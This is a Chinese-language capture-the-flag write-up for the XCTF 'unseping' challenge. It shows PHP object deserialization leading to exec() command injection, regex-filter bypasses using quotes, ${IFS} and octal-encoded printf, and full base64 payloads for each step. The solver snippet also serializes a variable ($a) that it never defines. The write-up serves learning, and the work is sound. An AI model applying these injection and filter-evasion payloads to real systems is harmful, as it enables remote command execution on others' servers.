- xctf中的unseping的一题主要考察方向如下
- 代码审计
- 简单的序列化
- base64编码的加解密
- 过滤函数的简单绕过
首先,本题的整体代码如下:
<?php
highlight_file(__FILE__);
//类名为ease的类
class ease{
//两个私有变量分别代表方法和参数
private $method;
private $args;
//构造函数,用于给上述两个私有变量复制
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
function __destruct(){
if (in_array($this->method, array("ping"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}
//用于执行shell指令,$ip即为上述的$args的值
function ping($ip){
exec($ip, $result);
var_dump($result);
}
//安全过滤,用于过滤特殊字符
function waf($str){
if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
return $str;
} else {
echo "don't hack";
}
}
//魔术方法,序列化时会自动调用,用于调用上述的安全过滤方法
function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf($v);
}
}
}
$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>
代码中做了简单的注释,接下来详细看看解法和步骤:
- 首先需要明确代码结构,参数通过post方式传递,又因为代码中并没有创建ease的实例,所以传递参数时需要创建实例,即第一步为:
$e=new ease("ping",array('参数'))
//此处创建实例时传入两个参数分贝为ping ,array("参数"),代表使用ping方法,传入array("参数")
- 此时观察最后一句,会将post传递的参数进行base64解密,后进行反序列化,所以传递的参数需要序列化后加密,第二步如下:
//序列化
$b=serialize($a);
//base64加密
$c=base64_encode($b);
- exec()函数可以将第一个参数作为shell命令执行,第二个参数用于记录执行结果,利用这一特点,可以首先查看当前网页的目录,即使用ls命令,第三步:
//实例的创建可以该为
$e=new ease("ping",array('ls'))
- 由于函数中存在关键字检测,所以需要进行绕过,已知绕过方式有单引号(' '),双音号(""),${z}占位符。所以第四步为绕过:
//实例可修改为
$e=new ease("ping",array('l""s'))
- 最终,完整的脚本为:
$e=new ease("ping",array('l""s'))
//序列化
$b=serialize($a);
//base64加密
$c=base64_encode($b);
echo $c;
- 使用上述脚本可以获取经过处理后的post参数,使用firefox浏览器的hackbar设置post载荷,然后提交发现目录结果如图
参数:
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo0OiJsIiJzIjt9fQ==
- 根据上述结果可以看到处理主页的文件之外还有一个flag_1s_here的内容,目前格式未知,尝试读取该文件,需要修改创建实例时传入的第二个参数的内容,修改为如下
$e=new ease("ping",array('c${z}at${IFS}f${z}lag_1s_here'));
//上述代码使用${z}与${IFS}配合进行绕过,其中${z}表示占位符,本身不影响代码的意思,但是可以混淆匹配从而绕过,${IFS}用于代替空格,除此之外如果${IFS}被执行了过滤,可以使用 $IFS$1 来绕过
//生成参数:
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoyOToiYyR7en1hdCR7SUZTfWYke3p9bGFnXzFzX2hlcmUiO319
- 发现返回的值为空,无法读取,所以猜测flag_1s_here为文件夹,使用ls flag_1s_here来查看文件夹下的文件,修改实例的第二个参数,内容如下:
$e=new ease("ping",array('l""s${IFS}f${z}lag_1s_here'));
- 使用修改后的参数提交,结果如下图:
参数:
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoyNjoibCIicyR7SUZTfWYke3p9bGFnXzFzX2hlcmUiO319
-
发现该文件夹下存在一个php文件,flag大概率存放在此,需要使用
cat flag_1s_here/flag_831b69012c67b35f.php
来查看该文件的内容,此时由于过滤方法中存在对"/"的过滤,所以需要将该命令转换为ascii码值,再转换为八进制进行表示,使用$(printf)来解析编码后的命令,在编码后的命令中在对空格和其他关键字进行绕过,修改参数格式如下:
$e=new ease("ping",array('$(printf${IFS}"\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160")'));
- 使用该脚本获取到新的payload,将其作为post的参数上传,结果如下图:
参数:
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoxNjk6IiQocHJpbnRmJHtJRlN9IlwxNDNcMTQxXDE2NFw0MFwxNDZcMTU0XDE0MVwxNDdcMTM3XDYxXDE2M1wxMzdcMTUwXDE0NVwxNjJcMTQ1XDU3XDE0NlwxNTRcMTQxXDE0N1wxMzdcNzBcNjNcNjFcMTQyXDY2XDcxXDYwXDYxXDYyXDE0M1w2Nlw2N1wxNDJcNjNcNjVcMTQ2XDU2XDE2MFwxNTBcMTYwIikiO319
至此, 成功拿到flag!